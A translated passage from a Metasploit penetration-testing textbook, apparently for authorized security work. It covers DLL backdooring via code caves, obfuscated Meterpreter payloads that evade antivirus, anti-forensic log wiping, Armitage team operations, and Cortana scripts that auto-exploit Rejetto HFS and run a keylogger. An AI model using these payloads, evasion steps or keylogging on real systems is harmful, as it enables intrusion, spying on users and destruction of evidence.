当后门被隐藏在程序可执行文件和库文件的空闲空间中时，通常会使用代码挖掘技术。该方法掩盖了通常位于空内存区域内的后门，然后修补了二进制文件，使其从后门开始运行。让我们按照以下方式修补 CryptBase DLL 文件：

后门工厂随 Kali Linux 一起提供。我们使用-f开关定义要设置后门的 DLL 文件，使用-S开关指定有效载荷。-H和-P表示主机和端口，而-o开关指定输出文件。

-Z开关表示跳过可执行文件的签名过程。

一旦后门进程开始，我们将看到以下屏幕：

我们可以看到后门工厂工具正在尝试在具有长度为343或更长的 DLL 中找到代码洞。让我们看看我们得到了什么：

太棒了！我们得到了三个不同的代码洞，可以放置我们的 shellcode。让我们选择任意一个，比如说，第三个：

我们可以看到 DLL 现在已经被植入后门并修补，这意味着 DLL 的入口点现在将指向我们在.reloc部分中的 shellcode。我们可以将此文件放在易受攻击软件的Program Files目录中，这在我们的案例中是 VLC，并且它将开始执行，而不是像我们在前一节中看到的那样崩溃，这为我们提供了对机器的访问。

从目标系统中收集文件

在 Metasploit 中使用文件扫描功能非常简单。enum_files后渗透模块有助于自动化文件收集服务。让我们看看如何使用它：

我们可以看到我们使用了enum_files后渗透模块。我们使用FILE_GLOBS作为*.docx OR *.pdf OR *.xlsx，这意味着搜索将发生在这三种文件格式上。接下来，我们只需将会话 ID 设置为5，这只是我们的会话标识符。我们可以看到，一旦我们运行了模块，它就会自动收集搜索期间找到的所有文件并下载它们。

使用毒液进行混淆

在上一章中，我们看到了如何使用自定义编码器击败 AV。让我们再进一步谈谈 Metasploit 有效载荷中的加密和混淆；我们可以使用一个名为venom的强大工具。让我们创建一些加密的 Meterpreter shellcode，如下截图所示：

一旦在 Kali Linux 中启动毒液，您将看到前面截图中显示的屏幕。毒液框架是 Pedro Nobrega 和 Chaitanya Haritash（Suspicious-Shell-Activity）的创意作品，他们致力于简化各种操作系统的 shellcode 和后门生成。让我们按Enter继续：

正如我们所看到的，我们有各种操作系统的创建有效载荷的选项，甚至有创建多操作系统有效载荷的选项。让我们选择2来选择Windows-OS 有效载荷：

我们将看到在基于 Windows 的操作系统上支持多个代理。让我们选择代理编号16，这是 C 和 Python 的组合，并带有 UUID 混淆。接下来，我们将看到输入本地主机的选项，如下截图所示：

添加后，我们将获得类似的选项来添加 LPORT、有效载荷和输出文件的名称。我们将选择443作为 LPORT，有效载荷为reverse_winhttps，以及任何合适的名称如下：

接下来，我们将看到生成过程开始，并且我们将有选择可执行文件图标的选项：

毒液框架还将为生成的可执行文件启动匹配处理程序，如下截图所示：

一旦文件在目标上执行，我们将得到以下结果：

我们轻松地获得了访问权限。但我们可以看到毒液工具已经实现了最佳实践，例如使用来自 Gmail 的 SSL 证书、分段和用于通信的shikata_ga_nai编码器。让我们在virscan.org/上扫描二进制文件如下：

我们可以看到检测几乎可以忽略不计，只有一个杀毒软件扫描器将其检测为后门。

使用反取证模块覆盖痕迹

Metasploit 确实提供了许多功能来覆盖痕迹。但是，从取证的角度来看，它们仍然可能缺乏一些核心领域，这些领域可能会揭示有关攻击的活动和有用信息。互联网上有许多模块，这些模块倾向于提供自定义功能。其中一些模块会成为核心 Metasploit 存储库的一部分，而另一些则会被忽视。我们将要讨论的模块是一个提供大量功能的反取证模块，例如清除事件日志、清除日志文件、操纵注册表、.lnk 文件、.tmp、.log、浏览器历史、预取文件（.pf）、最近文档、ShellBags、Temp/最近文件夹，以及还原点。该模块的作者 Pedro Nobrega 在识别取证证据方面进行了大量工作，并创建了这个模块，考虑到取证分析。我们可以从github.com/r00t-3xp10it/msf-auxiliarys/raw/master/windows/auxiliarys/CleanTracks.rb获取此模块，并使用loadpath命令在 Metasploit 中加载此模块，就像我们在前几章中所做的那样，或者将文件放在post/windows/manage目录中。让我们看看在运行此模块时需要启用哪些功能：

我们可以看到我们在模块上启用了CLEANER、DEL_LOGS和GET_SYS。让我们看看当我们执行此模块时会发生什么：

我们可以看到我们的模块运行正常。让我们看看它执行的操作如下：

我们可以看到目标系统中的日志文件、临时文件和 shellbags 已被清除。为了确保模块已经充分工作，我们可以看到以下截图，显示了模块执行前的大量日志：

一旦模块被执行，系统中日志的状态发生了变化，如下截图所示：

除了我们在前面的截图中看到的部分，该模块的精选选项还包括：

DIR_MACE 选项接受任何目录作为输入，并修改其中存在的内容的修改、访问和创建时间戳。PANIC 选项将格式化 NTFS 系统驱动器，因此这可能很危险。REVERT 选项将为大多数策略设置默认值，而 PREVENT 选项将尝试通过在系统中设置这些值来避免日志记录，从而防止在目标上创建日志和生成数据。这是最受欢迎的功能之一，特别是在执法方面。

总结

在本章中，我们看了一些专门的工具和技术，可以帮助执法机构。然而，所有这些技术必须小心实践，因为特定的法律可能会限制您在执行这些练习时。尽管如此，在本章中，我们介绍了如何代理 Meterpreter 会话。我们研究了获得持久性的 APT 技术，从目标系统中收集文件，使用毒液来混淆有效载荷，以及如何使用 Metasploit 中的反取证第三方模块来覆盖痕迹。

尝试以下练习：

• 一旦官方修复，尝试使用 Metasploit 聚合器

• 完成代码洞练习，并尝试将合法的 DLL 绑定到有效载荷，而不会使原始应用程序崩溃

• 构建自己的后渗透模块，用于 DLL 植入方法

在接下来的章节中，我们将转向臭名昭著的 Armitage 工具，并尝试设置红队环境，同时充分利用 Armitage 的自定义脚本。

第二十一章：使用 Armitage 进行可视化

在上一章中，我们介绍了 Metasploit 如何帮助执法机构。让我们继续介绍一个不仅可以加快渗透速度，还可以为测试团队提供广泛的红队环境的强大工具。

Armitage是一个 GUI 工具，作为 Metasploit 的攻击管理器。Armitage 可视化 Metasploit 操作并推荐利用。Armitage 能够为 Metasploit 提供共享访问和团队管理。

在本章中，我们将介绍 Armitage 及其功能。我们还将看看如何使用这个支持 GUI 的工具进行 Metasploit 的渗透测试。在本章的后半部分，我们将介绍 Armitage 的 Cortana 脚本。

在本章中，我们将涵盖以下关键点：

• 使用 Armitage 进行渗透测试

• 扫描网络和主机管理

• 使用 Armitage 进行后渗透

• 使用团队服务器进行红队行动

• Cortana 脚本的基础知识

• 使用 Armitage 中的 Cortana 脚本进行攻击

因此，让我们开始使用这个出色的可视化界面进行渗透测试之旅。

Armitage 的基础知识

Armitage 是一个图形化自动化 Metasploit 的攻击管理工具。Armitage 是用 Java 构建的，由 Raphael Mudge 创建。它是一个跨平台工具，可以在 Linux 和 Windows 操作系统上运行。

开始

在本章中，我们将在 Kali Linux 中使用 Armitage。要启动 Armitage，请执行以下步骤：

1. 打开终端，输入armitage命令，如下截图所示：

1. 点击弹出框中的连接按钮以建立连接。

2. 要运行armitage命令，Metasploit 的远程过程调用（RPC）服务器应该在运行中。当我们点击上一个弹出框中的连接按钮时，会出现一个新的弹出框询问我们是否要启动 Metasploit 的 RPC 服务器。如下截图所示，点击 Yes：

1. 启动 Metasploit RPC 服务器需要一点时间。在此过程中，我们会看到诸如 Connection refused 等消息。这些错误是由于 Armitage 对连接进行检查并测试是否已建立。我们可以看到这样的错误，如下截图所示：

在开始使用 Armitage 时需要牢记的一些关键点如下：

• 确保你是 root 用户

• 对于 Kali Linux 用户，如果未安装 Armitage，请使用apt-get install armitage命令进行安装

如果 Armitage 无法找到数据库文件，请确保 Metasploit 数据库已初始化并正在运行。可以使用msfdb init命令初始化数据库，并使用msfdb start命令启动数据库。

浏览用户界面

如果连接正确建立，我们将看到 Armitage 界面面板。它将类似于以下截图：

Armitage 的界面很简单，主要包含三个不同的窗格，如前面的截图所示。让我们看看这三个窗格应该做什么：

• 左上角的第一个窗格包含了 Metasploit 提供的各种模块的引用：辅助、利用、有效载荷和后期。我们可以浏览并双击一个模块以立即启动它。此外，在第一个窗格之后，有一个小的输入框，我们可以使用它立即搜索模块，而不必探索层次结构。

• 第二个窗格显示了网络中存在的所有主机。例如，它将以图形格式显示运行 Windows 的系统为监视器，并显示 Windows 标志。同样，Linux 系统显示 Linux 标志，其他系统显示其他标志。它还会显示打印机的打印机符号，这是 Armitage 的一个很好的功能，因为它帮助我们识别网络上的设备。

• 第三个窗格显示了所有操作、后渗透过程、扫描过程、Metasploit 的控制台以及后渗透模块的结果。

管理工作区

正如我们在之前的章节中已经看到的，工作区用于维护各种攻击配置文件，而不会合并结果。假设我们正在处理一个范围，由于某种原因，我们需要停止测试并测试另一个范围。在这种情况下，我们将创建一个新的工作区，并使用该工作区来测试新的范围，以保持结果清晰和有组织。然而，在我们完成这个工作区的工作后，我们可以切换到另一个工作区。切换工作区将自动加载工作区的所有相关数据。这个功能将帮助保持所有扫描的数据分开，防止来自各种扫描的数据合并。

要创建一个新的工作区，导航到工作区选项卡并点击管理。这将呈现给我们工作区选项卡，如下面的截图所示：

在 Armitage 的第三个窗格中将打开一个新选项卡，用于显示有关工作区的所有信息。我们在这里看不到任何列出的东西，因为我们还没有创建任何工作区。

因此，让我们通过点击添加来创建一个工作区，如下面的截图所示：

我们可以用任何想要的名称添加工作区。假设我们添加了一个内部范围192.168.10.0/24。让我们看看在添加范围后工作区选项卡是什么样子的：

我们可以随时在所需的工作区之间切换，并点击激活按钮。

扫描网络和主机管理

Armitage 有一个名为 Hosts 的单独选项卡，用于管理和扫描主机。我们可以通过在 Hosts 选项卡上点击从文件导入主机来将主机导入到 Armitage 中，或者我们可以通过在 Hosts 选项卡上点击添加主机选项来手动添加主机。

Armitage 还提供了扫描主机的选项。有两种类型的扫描：Nmap 扫描和 MSF 扫描。MSF 扫描利用 Metasploit 中的各种端口和服务扫描模块，而 Nmap 扫描利用流行的端口扫描工具Network Mapper（Nmap）。

通过从 Hosts 选项卡中选择 MSF 扫描选项来扫描网络。但是，在点击 MSF 扫描后，Armitage 将显示一个弹出窗口，询问目标范围，如下面的截图所示：

一旦我们输入目标范围，Metasploit 将开始扫描网络以识别端口、服务和操作系统。我们可以在界面的第三个窗格中查看扫描详情，如下所示：

扫描完成后，目标网络上的每个主机都将以图标的形式出现在界面的第二个窗格中，代表主机的操作系统，如下面的截图所示：

在上面的截图中，我们有一个 Windows Server 2008，一个 Windows Server 2012 和一个 Windows 10 系统。让我们看看目标上运行着什么服务。

建模漏洞

通过右键单击所需主机并点击服务，让我们看看目标范围内主机上运行着什么服务。结果应该类似于下面的截图：

我们可以看到192.168.10.109主机上运行着许多服务，比如 Microsoft IIS httpd 7.0、Microsoft Windows RPC、HttpFileServer httpd 2.3 等等。让我们指示 Armitage 为这些服务找到匹配的漏洞。

寻找匹配

我们可以通过选择一个主机，然后浏览 Attacks 选项卡并点击 Find Attack 来找到目标的匹配攻击。Find Attack 选项将根据目标主机上运行的服务与攻击数据库进行匹配。Armitage 在将所有服务与攻击数据库进行匹配后生成一个弹窗，如下截图所示：

点击 OK 后，我们会注意到每当右键单击主机时，菜单上会出现一个名为 Attack 的新选项。Attack 子菜单将显示我们可以对目标主机发动的所有匹配的攻击模块。

使用 Armitage 进行攻击

当攻击菜单对主机可用时，我们就可以开始利用目标了。让我们从攻击菜单中选择使用 Rejetto HTTPFileServer 远程命令执行漏洞来攻击 HttpFileServer httpd 2.3。点击 Exploit 选项将弹出一个新的弹窗显示所有设置。让我们按照以下设置所有必需的选项：

设置好所有选项后，点击 Launch 来运行漏洞模块对目标进行攻击。在我们启动exploit模块后，我们将能够在界面的第三个窗格中看到对目标的利用正在进行，如下截图所示：

我们可以看到 Meterpreter 正在启动，这表示成功利用了目标。此外，目标主机的图标也会变成带有红色闪电的被控制系统图标。

使用 Armitage 进行后渗透

Armitage 使得后渗透变得如同点击按钮一样简单。要执行后渗透模块，右键单击被利用的主机，然后选择 Meterpreter 4，如下所示：

选择 Meterpreter 将在各个部分中显示所有后渗透模块。如果我们想提升权限或获得系统级访问权限，我们将导航到 Access 子菜单，并根据我们的需求点击适当的按钮。

与 Interact 子菜单提供获取命令提示符、另一个 Meterpreter 等选项。Explore 子菜单提供浏览文件、显示进程、记录按键、截图、摄像头拍摄和后模块等选项，用于启动不在此子菜单中的其他后渗透模块。

如下截图所示：

点击 Browse Files 来运行一个简单的后渗透模块，如下截图所示：

通过点击适当的按钮，我们可以轻松地在目标系统上上传、下载和查看任何文件。这就是 Armitage 的美妙之处；它将命令远离我们，并以图形格式呈现一切。

这就结束了我们使用 Armitage 进行远程渗透攻击。

使用 Armitage 团队服务器进行红队行动

对于大型渗透测试环境，通常需要进行红队行动，即一组渗透测试人员可以共同开展项目，以获得更好的结果。Armitage 提供了一个团队服务器，可以用于与渗透测试团队的成员高效共享操作。我们可以使用teamserver命令快速启动一个团队服务器，后面跟上可访问的 IP 地址和我们选择的密码，如下截图所示：

我们可以看到我们已经在 IP 地址192.168.10.107上启动了一个团队服务器的实例，并使用密码 hackers 进行身份验证。我们可以看到在成功初始化后，我们有了需要在团队成员之间传播的凭据详细信息。现在，让我们通过使用armitage命令从命令行初始化 Armitage 并输入连接详细信息来连接到这个团队服务器，如下面的屏幕截图所示：

一旦成功建立连接，我们将看到一个类似于以下的屏幕：

我们可以看到指纹与我们的团队服务器呈现的指纹相同。让我们选择是以继续：

我们可以选择一个昵称加入团队服务器。让我们按下 OK 进行连接：

我们可以看到我们已经成功从我们的本地 Armitage 实例连接到团队服务器。此外，所有连接的用户都可以通过事件日志窗口互相聊天。假设我们有另一个用户加入了团队服务器：

我们可以看到两个不同的用户互相交谈，并且从各自的实例连接。让我们初始化一个端口扫描，看看会发生什么：

我们可以看到用户Nipun开始了一个端口扫描，并且立即为另一个用户填充了，他可以查看目标。考虑到Nipun添加了一个主机进行测试并利用它：

我们可以看到用户Kislay也能够查看扫描的所有活动。但是，要让用户Kislay访问 Meterpreter，他需要切换到控制台空间，并输入sessions命令，然后是标识符，如下面的屏幕截图所示：

我们可以看到，Armitage 使我们能够以比使用单个 Metasploit 实例更高效地在团队环境中工作。让我们在下一节中看看如何编写 Armitage 脚本。

编写 Armitage 脚本

Cortana 是一种用于在 Armitage 中创建攻击向量的脚本语言。渗透测试人员使用 Cortana 进行红队行动，并虚拟克隆攻击向量，使其像机器人一样行动。然而，红队是一个独立的团队，挑战组织以提高其效率和安全性。

Cortana 使用 Metasploit 的远程过程客户端，利用一种脚本语言。它提供了在控制 Metasploit 的操作和自动管理数据库方面的灵活性。

此外，Cortana 脚本可以在特定事件发生时自动化渗透测试人员的响应。假设我们正在对一个包含 100 个系统的网络进行渗透测试，其中 29 个系统运行 Windows Server 2012，另一个系统运行 Linux 操作系统，我们需要一个机制，将自动利用每个运行 HttpFileServer httpd 2.3 的 Windows Server 2012 系统上的端口8081的 Rejetto HTTPFileServer 远程命令执行漏洞。

我们可以快速开发一个简单的脚本，将自动化整个任务并节省大量时间。一个用于自动化此任务的脚本将利用rejetto_hfs_exec漏洞在每个系统上执行预定的后渗透功能。

Cortana 的基本原理

使用 Cortana 编写基本攻击将帮助我们更广泛地了解 Cortana。因此，让我们看一个自动化在端口8081上对 Windows 操作系统进行利用的示例脚本：

on service_add_8081 { 
      println("Hacking a Host running $1 (" . host_os($1) . ")"); 
      if (host_os($1) eq "Windows 7") { 
              exploit("windows/http/rejetto_hfs_exec", $1, %(RPORT => "8081")); 
      } 
} 

当 Nmap 或 MSF 扫描发现端口8081开放时，前面的脚本将执行。脚本将检查目标是否在运行 Windows 7 系统，Cortana 将自动攻击端口8081上的主机，使用rejetto_hfs_exec漏洞利用。

在前面的脚本中，$1指定了主机的 IP 地址。print_ln打印字符串和变量。host_os是 Cortana 中返回主机操作系统的函数。exploit函数在由$1参数指定的地址上启动一个利用模块，%表示可以为利用设置的选项，以防服务在不同端口运行或需要额外的详细信息。service_add_8081指定了在特定客户端上发现端口8081开放时要触发的事件。

让我们保存前面提到的脚本，并通过导航到 Armitage 选项卡并点击脚本来加载这个脚本到 Armitage 中：

要针对目标运行脚本，请执行以下步骤：

1. 点击加载按钮将 Cortana 脚本加载到 Armitage 中：

1. 选择脚本，然后点击打开。该操作将永久加载脚本到 Armitage 中：

1. 转到 Cortana 控制台，输入help命令以列出 Cortana 在处理脚本时可以使用的各种选项。

2. 接下来，为了查看 Cortana 脚本运行时执行的各种操作，我们将使用logon命令，后跟脚本的名称。logon命令将为脚本提供日志记录功能，并记录脚本执行的每个操作，如下图所示：

1. 现在，让我们通过浏览主机选项卡并从 Nmap 子菜单中选择强烈扫描来对目标进行强烈扫描。

2. 正如我们所看到的，我们发现一个开放端口为8081的主机。让我们回到我们的Cortana控制台，看看是否发生了一些活动：

1. 砰！Cortana 已经通过在目标主机上自动启动漏洞利用程序来接管了主机。

正如我们所看到的，Cortana 通过自动执行操作为我们简化了渗透测试。在接下来的几节中，我们将看看如何使用 Cortana 自动化后期利用并处理 Metasploit 的进一步操作。

控制 Metasploit

Cortana 非常好地控制了 Metasploit 的功能。我们可以使用 Cortana 向 Metasploit 发送任何命令。让我们看一个示例脚本，以帮助我们更多地了解如何从 Cortana 控制 Metasploit 的功能：

cmd_async("hosts"); 
cmd_async("services"); 
on console_hosts { 
println("Hosts in the Database"); 
println(" $3 "); 
} 
on console_services { 
println("Services in the Database"); 
println(" $3 "); 
} 

在前面的脚本中，cmd_async命令将hosts和services命令发送到 Metasploit，并确保它们被执行。此外，console_*函数用于打印由cmd_async发送的命令的输出。Metasploit 将执行这些命令；但是，为了打印输出，我们需要定义console_*函数。此外，$3是保存由 Metasploit 执行的命令的输出的参数。加载ready.cna脚本后，让我们打开 Cortana 控制台查看输出：

显然，命令的输出显示在前面的截图中，这结束了我们目前的讨论。但是，有关 Cortana 脚本和通过 Armitage 控制 Metasploit 的更多信息可以在以下网址获得：www.fastandeasyhacking.com/download/cortana/cortana_tutorial.pdf。

使用 Cortana 进行后期利用

Cortana 的后期利用也很简单。Cortana 的内置功能可以使后期利用变得容易。让我们通过以下示例脚本来理解这一点：

on heartbeat_15s { 
local('$sid'); 
foreach $sid (session_ids()) { 
if (-iswinmeterpreter $sid && -isready $sid) {   
m_cmd($sid, "getuid"); 
m_cmd($sid, "getpid"); 
on meterpreter_getuid { 
println(" $3 "); 
} 
on meterpreter_getpid { 
println(" $3 "); 
} 
} 
} 
} 

在上面的脚本中，我们使用了一个名为heartbeat_15s的函数。这个函数每15秒重复执行一次。因此，它被称为心跳函数。

local函数将表示$sid是当前函数的本地变量。下一个foreach语句是一个循环，遍历每个打开的会话。if语句将检查会话类型是否为 Windows Meterpreter，并且它已准备好进行交互和接受命令。

m_cmd函数将使用参数$sid发送命令到 Meterpreter 会话，其中$sid是会话 ID，以及要执行的命令。接下来，我们定义一个以meterpreter_*开头的函数，其中*表示发送到 Meterpreter 会话的命令。此函数将打印sent命令的输出，就像我们在上一个练习中为console_hosts和console_services所做的那样。

让我们运行这个脚本并分析结果，如下面的屏幕截图所示：

一旦我们加载脚本，它将在每15秒后显示目标的用户 ID 和当前进程 ID。

有关 Cortana 中的后期利用、脚本和函数的更多信息，请参阅www.fastandeasyhacking.com/download/cortana/cortana_tutorial.pdf。

在 Cortana 中构建自定义菜单

Cortana 在构建自定义弹出菜单方面也提供了出色的输出，这些菜单在获取 Meterpreter 会话和其他类型的会话后附加到主机上。让我们使用 Cortana 构建一个自定义键盘记录器菜单，并通过分析以下脚本来了解其工作原理：

popup meterpreter_bottom { 
menu "&My Key Logger" { 
item "&Start Key Logger" { 
m_cmd($1, "keyscan_start"); 
} 
item "&Stop Key Logger" { 
m_cmd($1, "keyscan_stop"); 
} 
item "&Show Keylogs" { 
m_cmd($1, "keyscan_dump"); 
} 
on meterpreter_keyscan_start { 
println(" $3 "); 
} 
on meterpreter_keyscan_stop { 
println(" $3 "); 
} 
on meterpreter_keyscan_dump { 
println(" $3 "); 
} 
} 
}

上面的示例显示了在 Meterpreter 子菜单中创建弹出窗口。但是，只有在我们能够利用目标主机并成功获取 Meterpreter shell 时，此弹出窗口才可用。

popup关键字将表示弹出窗口的创建。meterpreter_bottom函数将表示 Armitage 将在用户右键单击受损的主机并选择Meterpreter选项时在底部显示此菜单。item关键字指定菜单中的各个项目。m_cmd命令是将 Meterpreter 命令与其相应的会话 ID 发送到 Metasploit 的命令。

因此，在上面的脚本中，我们有三个项目：启动键盘记录器，停止键盘记录器和显示键盘记录。它们分别用于启动键盘记录，停止键盘记录和显示日志中存在的数据。我们还声明了三个函数，用于处理发送到 Meterpreter 的命令的输出。让我们将这个脚本加载到 Cortana 中，利用主机，并在受损的主机上右键单击，这将呈现给我们以下菜单：

我们可以看到，每当我们右键单击受损的主机并浏览 Meterpreter 3 菜单时，我们将看到一个名为 My Key Logger 的新菜单列在所有菜单的底部。此菜单将包含我们在脚本中声明的所有项目。每当我们从此菜单中选择一个选项时，相应的命令将运行并在 Cortana 控制台上显示其输出。让我们选择第一个选项“启动键盘记录器”。等待一段时间，让目标输入一些内容，然后从菜单中选择第三个选项“显示键盘记录”，如下面的屏幕截图所示：

当我们点击“显示键盘记录”选项时，我们将在 Cortana 控制台中看到在受损主机上工作的人键入的字符，如下面的屏幕截图所示：

使用接口进行工作

Cortana 在处理界面时也提供了灵活的方法。Cortana 提供了创建快捷方式、表格、切换选项卡和各种其他操作的选项和功能。假设我们想要添加自定义功能，比如当我们从键盘按下F1键时，Cortana 会显示目标主机的UID。让我们看一个能实现这一功能的脚本的例子：

bind F1 { 
$sid ="3"; 
spawn(&gu, \$sid);   
}  
sub gu{   
m_cmd($sid,"getuid"); 
on meterpreter_getuid { 
show_message( " $3 "); 
} 
} 

上面的脚本将添加一个快捷键F1，按下时将显示目标系统的UID。脚本中的bind关键字表示将功能与F1键绑定。接下来，我们将$sid变量的值定义为3（这是我们将要交互的会话 ID 的值）。

spawn函数将创建一个新的 Cortana 实例，执行gu函数，并将值$sid安装到新实例的全局范围内。gu函数将向 Meterpreter 发送getuid命令。meterpreter_getuid命令将处理getuid命令的输出。

show_message命令将显示一个消息，显示getuid命令的输出。让我们将脚本加载到 Armitage 中，按下F1键来检查并查看我们当前的脚本是否正确执行：

砰！我们很容易得到了目标系统的UID，它是 WIN-SWIKKOTKSHXmm。这结束了我们关于使用 Armitage 的 Cortana 脚本的讨论。

有关 Cortana 脚本及其各种功能的更多信息，请参阅：www.fastandeasyhacking.com/download/cortana/cortana_tutorial.pdf。

总结

在本章中，我们仔细研究了 Armitage 及其多种功能。我们首先看了界面和工作区的建立。我们还看到了如何利用 Armitage 对主机进行利用。我们研究了远程利用和客户端利用以及后期利用。此外，我们还深入研究了 Cortana，并讨论了它的基本原理，使用它来控制 Metasploit，编写后期利用脚本，自定义菜单和界面等。

第二十二章：技巧和窍门

在本书中，我们讨论了许多围绕 Metasploit 的技术和方法。从利用开发到脚本化 Armitage，我们涵盖了所有内容。然而，为了在 Metasploit 中实现最佳实践，我们必须了解一些技巧和窍门，以充分利用 Metasploit 框架。在本章中，我们将介绍一些快速技巧和脚本，这些将有助于使用 Metasploit 进行渗透测试。在本章中，我们将涵盖以下主题：

• 自动化脚本

• 第三方插件

• 备忘单

• 最佳实践

• 使用简写命令节省时间

因此，让我们深入探讨这最后一章，并学习一些很酷的技巧和窍门。

使用 Minion 脚本进行自动化

我在 GitHub 上随机查找自动化脚本时发现了这个宝藏脚本。Minion 是 Metasploit 的一个插件，对于快速利用和扫描非常有用。可以从github.com/T-S-A/Minion下载 Metasploit 的minion插件。

下载文件后，将其复制到~/.msf4/plugins目录，并启动msfconsole：

在前几章中，我们看到了如何使用 load 命令快速加载插件到 Metasploit。同样，让我们使用load minion命令加载minion插件，如前面的截图所示。加载成功后，切换到您一直在工作的工作区，或者如果工作区中没有主机，则执行 Nmap 扫描：

因为db_nmap扫描已经填充了大量结果，让我们看看启用了哪些minion选项可以使用：

丰富！我们可以看到目标主机上有 MySQL 服务。让我们使用mysql_enum命令如下：

哇！我们从未加载过模块，填写过任何选项，或者启动过模块，因为minion插件已经为我们自动化了。我们可以看到目标主机的 MySQL 版本。让我们使用minion的 MySQL 攻击命令如下：

太棒了！Minion 插件为我们自动化了暴力攻击，结果成功登录到目标，用户名为 root，密码为空。脚本的美妙之处在于您可以编辑和自定义它，并添加更多模块和命令，这也将帮助您开发 Metasploit 的插件。

使用 Netcat 进行连接

Metasploit 提供了一个名为connect的很棒的命令，提供类似 Netcat 实用程序的功能。假设系统 shell 正在等待我们在目标系统的某个端口上连接，并且我们不想从 Metasploit 控制台切换。我们可以使用connect命令与目标连接，如下截图所示：

我们可以看到我们在 Metasploit 框架内部初始化了与监听器的连接，这可能在接收反向连接时很有用，其中初始访问并非通过 Metasploit 获得。

Shell 升级和后台会话

有时，我们不需要即时与受损主机进行交互。在这种情况下，我们可以指示 Metasploit 在利用服务后立即将新创建的会话放入后台，使用-z开关，如下所示：

正如我们所看到的，我们已经打开了一个命令 shell，拥有类似 Meterpreter 提供的更好控制访问总是令人满意的。在这种情况下，我们可以使用-u开关升级会话，如下截图所示：

太棒了！我们刚刚将我们的 shell 更新为 Meterpreter shell，并更好地控制了目标。

命名约定

在一个庞大的渗透测试场景中，我们可能会得到大量的系统和 Meterpreter shell。在这种情况下，最好为所有 shell 命名以便于识别。考虑以下情景：

我们可以使用-n开关为 shell 命名，如下面的屏幕截图所示：

如前面的屏幕截图所示，命名看起来更好，更容易记住。

更改提示符并使用数据库变量

在您喜欢的渗透测试框架上工作并拥有您的提示符是多么酷？非常容易，我会说。要在 Metasploit 中设置您的提示符，您只需要将提示符变量设置为您选择的任何内容。撇开乐趣，假设您倾向于忘记当前使用的工作区，您可以使用数据库变量%W的提示符，以便轻松访问，如下面的屏幕截图所示：

此外，您始终可以像下面的屏幕截图中所示的那样做一些事情：

我们可以看到，我们已经使用%D显示当前本地工作目录，%H表示主机名，%J表示当前运行的作业数，%L表示本地 IP 地址（非常方便），%S表示我们拥有的会话数，%T表示时间戳，%U表示用户名，%W表示工作区。

在 Metasploit 中保存配置

大多数时候，我忘记切换到为特定扫描创建的工作区，最终将结果合并到默认工作区中。但是，使用 Metasploit 中的save命令可以避免这样的问题。假设您已经切换了工作区并自定义了提示符和其他内容。您可以使用save命令保存配置。这意味着下次启动 Metasploit 时，您将得到与上次相同的参数和工作区，如下面的屏幕截图所示：

让我们启动 Metasploit，看看我们上一个会话中的所有内容是否成功保存：

是的！一切都已在配置文件中收集。从现在开始，不再频繁切换工作区，再也不会有麻烦了。

使用内联处理程序和重命名作业

Metasploit 提供了使用handler命令快速设置处理程序的方法，如下面的屏幕截图所示：

我们可以看到，我们可以使用-p开关来定义有效载荷，使用-H和-P开关来定义主机和端口。运行处理程序命令将快速生成一个处理程序作为后台作业。说到后台作业，它们也可以使用rename_job命令进行重命名，如下面的屏幕截图所示：

在多个 Meterpreter 上运行命令

是的！我们可以使用sessions命令的-c开关在多个打开的 Meterpreter 会话上运行 Meterpreter 命令，如下面的屏幕截图所示：

我们可以看到，Metasploit 已经智能地跳过了一个非 Meterpreter 会话，并且我们已经使命令在所有 Meterpreter 会话上运行，如前面的屏幕截图所示。

自动化社会工程工具包

社会工程工具包（SET）是一组基于 Python 的工具，针对渗透测试的人为方面。我们可以使用 SET 执行钓鱼攻击，网页劫持攻击，涉及受害者重定向的攻击，声称原始网站已经移动到其他地方，基于文件格式的利用，针对特定软件进行受害者系统的利用，以及许多其他攻击。使用 SET 的最好之处在于菜单驱动的方法，可以在很短的时间内设置快速的利用向量。

SET 的教程可以在以下网址找到：www.social-engineer.org/framework/se-tools/computer-based/social-engineer-toolkit-set/。

SET 在生成客户端利用模板方面非常快速。但是，我们可以使用自动化脚本使其更快。让我们看一个例子：

在前面的屏幕截图中，我们向seautomate工具提供了se-script，结果是生成了有效载荷并自动设置了利用处理程序。让我们更详细地分析se-script：

您可能想知道脚本中的数字如何调用有效载荷生成和利用处理程序设置过程。

正如我们之前讨论的，SET 是一个菜单驱动的工具。因此，脚本中的数字表示菜单选项的 ID。让我们将整个自动化过程分解为更小的步骤。

脚本中的第一个数字是1。因此，在处理1时选择了社会工程攻击选项：

脚本中的下一个数字是4。因此，选择了创建有效载荷和监听器选项，如下面的屏幕截图所示：

接下来的数字是2，表示有效载荷类型为Windows Reverse_TCP Meterpreter，如下面的屏幕截图所示：

接下来，我们需要在脚本中指定监听器的 IP 地址，即192.168.10.103。这可以手动可视化：

在下一个命令中，我们有4444，这是监听器的端口号：

我们在脚本中有yes作为下一个命令。脚本中的yes表示监听器的初始化：

一旦我们提供yes，控制就会转移到 Metasploit，并且利用反向处理程序会自动设置，如下面的屏幕截图所示：

我们可以像之前讨论的那样以类似的方式自动化 SET 中的任何攻击。在为客户端利用生成定制的有效载荷时，SET 节省了大量时间。但是，使用seautomate工具，我们使其变得超快。

Metasploit 和渗透测试的备忘单

您可以在以下链接找到有关 Metasploit 的一些优秀的备忘单：

• www.sans.org/security-resources/sec560/misc_tools_sheet_v1.pdf

• null-byte.wonderhowto.com/how-to/hack-like-pro-ultimate-command-cheat-sheet-for-metasploits-meterpreter-0149146/

• null-byte.wonderhowto.com/how-to/hack-like-pro-ultimate-list-hacking-scripts-for-metasploits-meterpreter-0149339/

有关渗透测试的更多信息，请参考 SANS 海报www.sans.org/security-resources/posters/pen-testing，并参考github.com/coreb1t/awesome-pentest-cheat-sheets获取有关渗透测试工具和技术的大多数备忘单。

进一步阅读

在本书中，我们以实用的方式涵盖了 Metasploit 和其他相关主题。我们涵盖了利用开发、模块开发、在 Metasploit 中移植利用、客户端攻击、基于服务的渗透测试、规避技术、执法机构使用的技术以及 Armitage。我们还深入了解了 Ruby 编程和 Armitage 中的 Cortana 的基础知识。

阅读完本书后，您可能会发现以下资源提供了有关这些主题的更多详细信息：

• 要学习 Ruby 编程，请参阅：ruby-doc.com/docs/ProgrammingRuby/

• 有关汇编语言编程，请参阅：github.com/jaspergould/awesome-asm

• 有关利用开发，请参阅：www.corelan.be/

• 有关 Metasploit 开发，请参阅：github.com/rapid7/metasploit-framework/wiki

• 有关基于 SCADA 的利用，请参阅：scadahacker.com/

• 有关 Metasploit 的深入攻击文档，请参阅：www.offensive-security.com/metasploit-unleashed/

